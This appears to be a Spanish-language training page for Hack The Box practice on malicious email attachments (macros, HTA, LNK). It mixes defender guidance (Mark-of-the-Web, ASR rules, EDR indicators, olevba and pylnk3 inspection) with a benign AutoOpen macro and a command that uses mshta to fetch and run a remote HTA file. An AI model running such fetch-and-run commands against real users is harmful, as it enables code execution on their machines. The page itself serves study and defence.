Adjunto malicioso
Subtécnica de T1566 Phishing ↗
Enviar un documento o fichero que ejecuta código cuando la víctima lo abre (macro, HTA, LNK).
Cómo aparece en Hack The Box
En HTB aparece cuando hay un usuario simulado que abre lo que le mandas por correo o subes a una carpeta: un .odt con macro, un .lnk o un .library-ms que filtra su hash NTLM.
Técnicas de nuestro catálogo que corresponden a esta (el número son sus máquinas):
Máquinas para practicarla
Ordenadas de más fácil a más difícil. El enlace ▶ te lleva al minuto del vídeo de IppSec donde se usa.
Comandos
Sacados de nuestras chuletas y fichas de herramientas. Escribe tus datos y se rellenan en todos los comandos.
Phishing explicado: macros, HTA y LNK › Macros de Office
Los eventos automáticos
Teclas
' AutoOpen (Word) y Workbook_Open (Excel) se ejecutan al abrir el fichero
' SI el usuario habilita las macros. Document_Open hace lo mismo desde el módulo del documento.
Sub AutoOpen()
MsgBox "Esto se ejecuta al abrir el documento"
End Sub
Mark-of-the-Web
Teclas
# Desde 2022 Office bloquea las macros de cualquier fichero descargado de Internet o recibido por correo (llevan la marca MOTW). El usuario ya ni ve el botón de "Habilitar".
Reglas ASR de Defender
Teclas
# "Block all Office applications from creating child processes" impide que WINWORD.EXE lance cmd/powershell, que es justo lo que hace la macro.
Extraer y leer las macros con oletools
Atacante
olevba documento.docmPhishing explicado: macros, HTA y LNK › HTA
Cómo la víctima acabaría ejecutándolo
Víctima
mshta http://servidor/documento.hta
El patrón que marca cualquier EDR
Teclas
# mshta.exe conectándose a una URL y creando cmd.exe o powershell.exe es un indicador de libro. Muchas empresas bloquean mshta.exe entero con AppLocker/WDAC.Phishing explicado: macros, HTA y LNK › Accesos directos (.lnk)
Inspeccionar uno que recibas, sin abrirlo
Atacante
(New-Object -ComObject WScript.Shell).CreateShortcut('.\sospechoso.lnk') | Format-List TargetPath, Arguments, IconLocation
Desde Linux con pylnk3
Atacante
pip install pylnk3 && pylnk3 p sospechoso.lnk
Mark-of-the-Web y SmartScreen
Teclas
# Windows marca los .lnk descargados; SmartScreen avisa, y un .lnk cuyo destino es cmd o powershell es sospechoso por sí solo. La pista para el defensor: Explorer como proceso padre de cmd.Ningún comando coincide.